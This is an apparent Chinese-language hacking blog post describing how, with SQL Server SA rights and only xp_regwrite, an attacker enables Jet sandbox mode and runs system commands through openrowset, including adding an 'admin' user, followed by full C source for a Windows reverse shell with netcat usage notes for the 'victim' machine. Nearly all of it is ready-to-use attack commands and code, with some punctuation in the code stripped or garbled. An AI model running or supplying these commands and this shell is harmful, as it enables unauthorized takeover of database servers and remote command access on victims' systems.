SA权限仅需xp_regwrite即可有dos shell

SA权限仅需xp_regwrite即可有dos shell
删除xp_cmdshell和xplog70.dll不用担心,只要保留xp_regwrite就可以执行系统命令,拥有一个dos shell
利用RDS的一个老问题,在IIS 4.0的时候被广泛利用,现在好像没多少人想得起来了
绝对比去想办法恢复xp_cmdshell来得经济实惠,不过需要猜一下系统路径
nt/2k: x:\winnt\system32\
xp/2003: x:\windows\system32\
如果有回显,可以看到执行返回结果,否则需要先判断主机OS类型再试
当然如果野蛮一点,四个轮流来一遍也行。

首先开启沙盘模式:
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE”SOFTWARE\Microsoft\Jet\4.0\Engines”SandBoxMode”REG_DWORD’1

然后利用jet.oledb执行系统命令
select * from openrowset(‘microsoft.jet.oledb.4.0”;database=c:\winnt\system32\ias\ias.mdb”select shell(“cmd.exe /c net user admin admin1234 /add”)’)

无法连接数据库服务器时(数据库一般不对外开放,但是可以对外访问),
可以使用反弹dos shell方式搞定

====================== CUT here =======================
//name     : win32 connect back shell source for nt/2K/xp/2003
//compile   : cl win32cbsh.c   (vc6)
//usage     :
//on your pc   : nc -l -p {listen port}
//on vitim pc   : win32cbsh {your ip} {listen port}
//warning   : if there's no parameter specified it will cause "fatal error"
#include <winsock2.h>
#pragma comment(lib"ws2_32")
int main(int argc char **argv)
{
  WSADATA wsaData;
  SOCKET hSocket;
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  struct sockaddr_in adik_sin;
  memset(&adik_sin0sizeof(adik_sin));
  memset(&si0sizeof(si));
  WSAStartup(MAKEWORD(20)&wsaData);
  hSocket=WSASocket(AF_INETSOCK_STREAMNULLNULLNULLNULL);
  adik_sin.sin_family=AF_INET;
  adik_sin.sin_port=htons(atoi(argv[2]));
  adik_sin.sin_addr.s_addr=inet_addr(argv[1]);
  if(0!=connect(hSocket(struct sockaddr*)&adik_sinsizeof(adik_sin))) return -1;
  si.cb=sizeof(si);
  si.dwFlags=STARTF_USESTDHANDLES;
  si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket;
  cr&#101;ateProcess(NULL"cmd.exe"NULLNULL1NULLNULLNULL&si&pi);
  return 0;
}
====================== CUT here =======================

随机日志

发表评论

0 评论.

Leave a Reply



[ Ctrl + Enter ]

*
To prove you're a person (not a spam script), type the security word shown in the picture. Click on the picture to hear an audio file of the word.
Click to hear an audio file of the anti-spam word

CNXCT小组的博客 is Stephen Fry proof thanks to caching by WP Super Cache